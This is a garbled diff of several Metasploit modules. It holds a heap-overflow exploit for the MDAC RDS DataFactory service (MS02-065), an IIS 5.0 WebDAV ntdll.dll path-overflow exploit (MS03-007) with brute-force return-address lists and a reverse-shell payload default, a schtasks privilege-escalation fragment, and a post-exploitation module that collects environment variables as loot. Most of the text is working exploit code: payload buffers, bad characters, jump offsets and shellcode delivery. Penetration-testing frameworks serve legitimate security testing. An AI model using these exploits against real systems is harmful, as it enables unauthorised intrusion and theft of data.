(MDAC) Remote Data Service (RDS) DataFactory service. The service is
|
||||
@@ -19,78 +21,79 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
(handsafe.reg). The service is vulnerable to a heap overflow where
|
||||
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
|
||||
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
|
||||
},
|
||||
'Author' => 'aushack',
|
||||
'Platform' => 'win',
|
||||
'References' =>
|
||||
[
|
||||
},
|
||||
'Author' => 'aushack',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86],
|
||||
'References' => [
|
||||
['OSVDB', '14502'],
|
||||
['BID', '6214'],
|
||||
['CVE', '2002-1142'],
|
||||
['MSB', 'MS02-065'],
|
||||
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
|
||||
'StackAdjustment' => -3500,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp',
|
||||
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
|
||||
[ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
|
||||
'Targets' => [
|
||||
# jmp eax ws2help.dll
|
||||
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
|
||||
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
|
||||
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
|
||||
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
|
||||
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
|
||||
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 20 2002'
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2002-11-02',
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
|
||||
])
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['PATH']),
|
||||
'method' => 'GET',
|
||||
})
|
||||
if (res and res.code == 200)
|
||||
print_status("Server responded with HTTP #{res.code} OK")
|
||||
if (res.body =~ /Content-Type: application\/x-varg/)
|
||||
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
|
||||
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
return CheckCode::Unknown('HTTP server error') if res.code == 500
|
||||
return CheckCode::Safe('Access Forbidden') if res.code == 403
|
||||
|
||||
if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
|
||||
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
sploit = rand_text_alphanumeric(136)
|
||||
sploit[24,2] = Rex::Arch::X86.jmp_short(117)
|
||||
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
|
||||
sploit << [target['Ret']].pack('V')
|
||||
sploit << payload.encoded
|
||||
|
||||
data = 'Content-Type: ' + sploit
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'),
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
},
|
||||
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
|
||||
'method' => 'POST',
|
||||
'data' => "Content-Type: #{sploit}"
|
||||
})
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
||||
@@ -9,37 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in NTDLL.dll on Windows 2000
|
||||
through the SEARCH WebDAV method in IIS. This particular
|
||||
module only works against Windows 2000. It should have a
|
||||
reasonable chance of success against any service pack.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2003-0109'],
|
||||
[ 'OSVDB', '4467'],
|
||||
[ 'BID', '7116'],
|
||||
[ 'MSB', 'MS03-007']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500,
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in NTDLL.dll on Windows 2000
|
||||
through the SEARCH WebDAV method in IIS. This particular
|
||||
module only works against Windows 2000. It should have a
|
||||
reasonable chance of success against SP0 to SP3.
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Brute Force', { } ],
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2003-0109'],
|
||||
['OSVDB', '4467'],
|
||||
['BID', '7116'],
|
||||
['PACKETSTORM', '30939'],
|
||||
['MSB', 'MS03-007']
|
||||
],
|
||||
'DisclosureDate' => '2003-05-30',
|
||||
'DefaultTarget' => 0))
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'Space' => 512,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86],
|
||||
'Targets' => [
|
||||
[ 'Automatic Brute Force', {} ],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
||||
},
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
},
|
||||
'DisclosureDate' => '2003-05-30',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
@@ -48,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# XXX - ugh, there has to be a better way to remove entries from an
|
||||
# enum that overwriting the evalable enum option
|
||||
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
|
||||
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@@ -61,125 +72,222 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# back to 80 for automated exploitation
|
||||
|
||||
rport = datastore['RPORT'].to_i
|
||||
if ( rport == 139 or rport == 445 )
|
||||
rport = 80
|
||||
if (rport == 139 || rport == 445)
|
||||
datastore['RPORT'] = 80
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def check
|
||||
url = 'x' * 65535
|
||||
xml =
|
||||
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
|
||||
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
|
||||
# Verify the service is running first
|
||||
res = send_request_raw({ 'uri' => '/' }, 5)
|
||||
return CheckCode::Safe('Connection failed') unless res
|
||||
|
||||
xml = "<?xml version=\"1.0\"?>\r\n"
|
||||
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
|
||||
xml << "<g:sql>\r\n"
|
||||
xml << "Select \"DAV:displayname\" from scope()\r\n"
|
||||
xml << "</g:sql>\r\n"
|
||||
xml << "</g:searchrequest>\r\n"
|
||||
|
||||
response = send_request_cgi({
|
||||
'uri' => '/' + url,
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
'uri' => "/#{'x' * 65535}",
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
}, 5)
|
||||
|
||||
|
||||
if (response and response.body =~ /Server Error\(exception/)
|
||||
vprint_status("We've hit a server error (exception)")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
if response && response.body.to_s.include?('Server Error(exception')
|
||||
return CheckCode::Vulnerable("We've hit a server error (exception)")
|
||||
end
|
||||
|
||||
# Did the server stop acceping requests?
|
||||
# Request-URI Too Long
|
||||
if response && response.code == 414
|
||||
return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
|
||||
end
|
||||
|
||||
# Did the server stop accepting requests?
|
||||
begin
|
||||
send_request_raw({'uri' => '/'}, 5)
|
||||
rescue
|
||||
vprint_status("The server stopped accepting requests")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
send_request_raw({ 'uri' => '/' }, 5)
|
||||
rescue StandardError
|
||||
return CheckCode::Appears('The server stopped accepting requests') unless res
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
# verify the service is running up front
|
||||
send_request_raw({'uri' => '/'}, 5)
|
||||
# Verify the service is running first
|
||||
res = send_request_raw({ 'uri' => '/' }, 5)
|
||||
fail_with(Failure::Unreachable, 'Connection failed') unless res
|
||||
|
||||
# The targets in the most likely order they will work
|
||||
targets =
|
||||
[
|
||||
# Almost Targetted :)
|
||||
"\x4f\x4e", # =SP3
|
||||
"\x41\x42", # ~SP0 ~SP2
|
||||
"\x41\x43", # ~SP1, ~SP2
|
||||
|
||||
# Generic Bruteforce
|
||||
"\x41\xc1",
|
||||
"\x41\xc3",
|
||||
"\x41\xc9",
|
||||
"\x41\xca",
|
||||
"\x41\xcb",
|
||||
"\x41\xcc",
|
||||
"\x41\xcd",
|
||||
"\x41\xce",
|
||||
"\x41\xcf",
|
||||
"\x41\xd0",
|
||||
# Common offsets
|
||||
common_offsets = [
|
||||
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
|
||||
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
|
||||
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
|
||||
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
|
||||
]
|
||||
|
||||
xml =
|
||||
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
|
||||
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
|
||||
# Generic Bruteforce - Windows 2000 Professional
|
||||
pro_offsets = [
|
||||
"\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xab", # Windows 2000 Professional (SP1 AR)
|
||||
"\x41\xac", # Windows 2000 Professional (SP0 FI)
|
||||
"\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
|
||||
"\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
|
||||
"\x41\xaf",
|
||||
|
||||
"\x41\xb0",
|
||||
"\x41\xb1", # Windows 2000 Professional (SP0 EN)
|
||||
"\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
|
||||
"\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
|
||||
"\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
|
||||
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
|
||||
"\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
|
||||
"\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
|
||||
"\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
|
||||
"\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
|
||||
"\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
|
||||
"\x41\xbe", # Windows 2000 Professional (SP0 TR)
|
||||
"\x41\xbf", # Windows 2000 Professional (SP0 FI)
|
||||
]
|
||||
|
||||
# Generic Bruteforce - Windows 2000 Server
|
||||
server_offsets = [
|
||||
"\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
|
||||
"\x4f\xc4", # Windows 2000 Server (SP2 EN)
|
||||
"\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
|
||||
"\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
|
||||
"\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
|
||||
"\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
|
||||
"\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
|
||||
"\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
|
||||
"\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
|
||||
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)
|
||||
|
||||
"\x4f\x40",
|
||||
"\x4f\x41",
|
||||
"\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
|
||||
"\x4f\x44",
|
||||
"\x4f\x45",
|
||||
"\x4f\x46",
|
||||
"\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
|
||||
"\x4f\x48",
|
||||
"\x4f\x49",
|
||||
"\x4f\x4a",
|
||||
"\x4f\x4b",
|
||||
"\x4f\x4c",
|
||||
"\x4f\x4d",
|
||||
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
|
||||
"\x4f\x4f",
|
||||
|
||||
"\x41\x40",
|
||||
"\x41\x41",
|
||||
"\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
|
||||
"\x41\x44",
|
||||
"\x41\x45",
|
||||
"\x41\x46",
|
||||
"\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
|
||||
"\x41\x48", # Windows 2000 Server (SP1 SE)
|
||||
"\x41\x49",
|
||||
"\x41\x4a",
|
||||
"\x41\x4b",
|
||||
"\x41\x4c",
|
||||
"\x41\x4d",
|
||||
"\x41\x4e",
|
||||
"\x41\x4f",
|
||||
|
||||
"\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
|
||||
"\x41\xc4", # Windows 2000 Server (SP2 EN)
|
||||
"\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
|
||||
"\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
|
||||
"\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
|
||||
"\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
|
||||
"\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
|
||||
"\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
|
||||
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
|
||||
"\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
|
||||
]
|
||||
|
||||
if datastore['InvalidSearchRequest']
|
||||
xml = rand_text(rand(1024) + 32)
|
||||
xml = rand_text(32..1056)
|
||||
else
|
||||
xml = "<?xml version=\"1.0\"?>\r\n"
|
||||
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
|
||||
xml << "<g:sql>\r\n"
|
||||
xml << "Select \"DAV:displayname\" from scope()\r\n"
|
||||
xml << "</g:sql>\r\n"
|
||||
xml << "</g:searchrequest>\r\n"
|
||||
end
|
||||
|
||||
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
|
||||
# This decodes to "inc ecx"
|
||||
url = 'A' * (65_516 - payload.encoded.length)
|
||||
url << payload.encoded
|
||||
|
||||
url = 'A' * 65516
|
||||
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
|
||||
offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq
|
||||
|
||||
targets.each { |ret|
|
||||
|
||||
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
|
||||
url[ 283, 2 ] = ret
|
||||
offsets.each_with_index do |ret, index|
|
||||
print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
|
||||
url[283, 2] = ret
|
||||
|
||||
begin
|
||||
send_request_cgi({
|
||||
'uri' => '/' + url,
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
'uri' => "/#{url}",
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
}, 5)
|
||||
handler
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error("Attempt failed: #{e}")
|
||||
end
|
||||
|
||||
1.upto(8) { |i|
|
||||
select(nil,nil,nil,0.25)
|
||||
return if self.session_created?
|
||||
}
|
||||
|
||||
if !service_running?
|
||||
print_error('Giving up, IIS must have completely crashed')
|
||||
return
|
||||
1.upto(8) do |_i|
|
||||
select(nil, nil, nil, 0.25)
|
||||
break if session_created?
|
||||
end
|
||||
}
|
||||
|
||||
break if session_created?
|
||||
|
||||
fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
|
||||
end
|
||||
end
|
||||
|
||||
# Try connecting to the server up to 20 times, with a two second gap
|
||||
# This gives the server time to recover after a failed exploit attempt
|
||||
def service_running?
|
||||
print_status('Checking if IIS is back up after a failed attempt...')
|
||||
1.upto(20) {|i|
|
||||
begin
|
||||
send_request_raw({'uri' => '/'}, 5)
|
||||
rescue
|
||||
print_error("Connection failed (#{i} of 20)...")
|
||||
select(nil,nil,nil,2)
|
||||
next
|
||||
end
|
||||
return true
|
||||
}
|
||||
return false
|
||||
1.upto(20) do |i|
|
||||
break if session_created?
|
||||
|
||||
return true if send_request_raw({ 'uri' => '/' }, 5)
|
||||
|
||||
print_error("Connection failed (#{i} of 20)...")
|
||||
select(nil, nil, nil, 2)
|
||||
end
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
@@ -305,7 +305,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def exec_schtasks(cmdline, purpose)
|
||||
cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR"
|
||||
cmdline = "/c #{cmdline.strip}"
|
||||
lns = cmd_exec('cmd.exe', cmdline)
|
||||
|
||||
success = false
|
||||
|
||||
@@ -11,11 +11,16 @@ class MetasploitModule < Msf::Post
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Multi Gather Generic Operating System Environment Settings',
|
||||
'Description' => %q{ This module prints out the operating system environment variables },
|
||||
'Description' => %q{ This module prints out the operating system environment variables. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
|
||||
'Platform' => %w{linux win},
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Platform' => %w[linux win unix],
|
||||
'SessionTypes' => %w[powershell shell meterpreter],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
@@ -26,52 +31,70 @@ class MetasploitModule < Msf::Post
|
||||
}
|
||||
)
|
||||
)
|
||||
@ltype = 'generic.environment'
|
||||
end
|
||||
|
||||
def run
|
||||
case session.type
|
||||
when "shell"
|
||||
get_env_shell
|
||||
when "meterpreter"
|
||||
get_env_meterpreter
|
||||
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
|
||||
print_status("Running module against #{hostname} (#{session.session_host})")
|
||||
|
||||
output = case session.type
|
||||
when 'shell'
|
||||
get_env_shell
|
||||
when 'powershell'
|
||||
get_env_powershell
|
||||
when 'meterpreter'
|
||||
get_env_meterpreter
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, 'Could not retrieve environment variables') if output.blank?
|
||||
|
||||
if session.platform == 'windows'
|
||||
ltype = 'windows.environment'
|
||||
else
|
||||
ltype = 'unix.environment'
|
||||
end
|
||||
store_loot(@ltype, "text/plain", session, @output) if @output
|
||||
print_line @output if @output
|
||||
|
||||
print_line(output)
|
||||
path = store_loot(ltype, 'text/plain', session, output)
|
||||
print_good("Results saved to #{path}")
|
||||
end
|
||||
|
||||
def get_env_shell
|
||||
print_line @output if @output
|
||||
if session.platform == 'windows'
|
||||
@ltype = "windows.environment"
|
||||
cmd = "set"
|
||||
else
|
||||
@ltype = "unix.environment"
|
||||
cmd = "env"
|
||||
cmd = session.platform == 'windows' ? 'set' : 'env'
|
||||
cmd_exec(cmd)
|
||||
end
|
||||
|
||||
def get_env_powershell
|
||||
res = cmd_exec('Get-ChildItem Env: | ConvertTo-Csv')
|
||||
|
||||
output = []
|
||||
csv = CSV.parse(res, skip_lines: /^#/, headers: true)
|
||||
csv.each do |row|
|
||||
output << "#{row['Key']}=#{row['Value']}"
|
||||
end
|
||||
@output = cmd_exec(cmd)
|
||||
|
||||
return output.join("\n")
|
||||
end
|
||||
|
||||
def get_env_meterpreter
|
||||
case session.platform
|
||||
when 'windows'
|
||||
var_names = []
|
||||
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
|
||||
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
|
||||
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
|
||||
output = []
|
||||
var_names << registry_enumvals('HKEY_CURRENT_USER\\Volatile Environment')
|
||||
var_names << registry_enumvals('HKEY_CURRENT_USER\\Environment')
|
||||
var_names << registry_enumvals('HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment')
|
||||
var_names.delete(nil)
|
||||
|
||||
output = []
|
||||
session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v|
|
||||
output << "#{k}=#{v}"
|
||||
end
|
||||
@output = output.join("\n")
|
||||
@ltype = "windows.environment"
|
||||
return output.join("\n")
|
||||
else
|
||||
# Don't know what it is, hope it's unix
|
||||
print_status sysinfo["OS"]
|
||||
chan = session.sys.process.execute("/bin/sh", "-c env", { "Channelized" => true })
|
||||
@output = chan.read
|
||||
@ltype = "unix.environment"
|
||||
print_status("Executing 'env' on #{sysinfo['OS']}")
|
||||
chan = session.sys.process.execute('/bin/sh', '-c env', { 'Channelized' => true })
|
||||
return chan.read
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
rescue => e
